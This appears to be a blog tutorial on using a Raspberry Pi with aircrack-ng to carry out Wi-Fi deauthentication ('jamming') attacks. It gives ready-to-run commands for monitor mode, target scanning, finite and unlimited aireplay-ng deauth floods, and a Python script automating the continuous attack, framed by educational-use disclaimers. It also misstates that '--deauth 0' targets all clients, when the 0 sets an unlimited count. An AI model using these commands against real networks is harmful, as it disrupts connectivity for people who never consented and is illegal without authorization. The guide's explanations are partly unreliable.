How to Use Raspberry Pi as a Wi-Fi Jammer

🌐 How to Use Raspberry Pi as a Wi-Fi Jammer (For Educational Testing Only)

Disclaimer: This guide is intended strictly for educational and authorized testing in lab environments. Wi-Fi jamming is illegal in many countries if performed without permission. Do not use this information to disrupt any public or private networks you do not own or have explicit permission to test.

🤖 What You'll Need

• Raspberry Pi 3 or newer (with built-in Wi-Fi)
• Kali Linux or Raspberry Pi OS (Lite preferred)
• Compatible external Wi-Fi adapter (with monitor mode support)
• USB keyboard, monitor, and SD card
• Internet connection (for setup)

🚀 Step 1: Install Kali Linux on Raspberry Pi

You can download the Raspberry Pi image for Kali Linux from the official Kali ARM images page. Use a tool like balenaEtcher to flash it to your SD card.

📁 Step 2: Update Your System

sudo apt update && sudo apt upgrade -y

🔧 Step 3: Install Required Tools

Install aircrack-ng, which includes the key tool for jamming: aireplay-ng.

sudo apt install aircrack-ng

📶 Step 4: Enable Monitor Mode

sudo ip link set wlan1 down
sudo iw dev wlan1 set type monitor
sudo ip link set wlan1 up

(Replace wlan1 with your external adapter name. Check using iwconfig)

🪨 Step 5: Scan for Wi-Fi Networks

sudo airodump-ng wlan1

Note the BSSID and channel (CH) of the target Wi-Fi network.

🔍 Step 6: Target Network with Deauthentication Attack

sudo aireplay-ng --deauth 1000 -a BSSID wlan1

This command sends 1000 deauthentication packets to the specified BSSID.

To target all clients connected to that network:

sudo aireplay-ng --deauth 0 -a BSSID wlan1

⚖️ Legal & Ethical Reminder

This method is for:

• Testing your own home/lab network security
• Learning about wireless protocol vulnerabilities
• Red team and ethical hacking labs

Never use jamming tools in public or unauthorized environments.

🎉 Bonus: Automate with a Python Script

You can automate the process using Python and subprocess for educational scripting practice.

import subprocess

bssid = "XX:XX:XX:XX:XX:XX"
iface = "wlan1"
subprocess.call(["aireplay-ng", "--deauth", "0", "-a", bssid, iface])

📊 Conclusion

Using a Raspberry Pi as a Wi-Fi jammer can be a powerful learning tool in ethical hacking. Be sure to use it responsibly and always within the scope of the law. Practice ethical hacking, not criminal hacking.
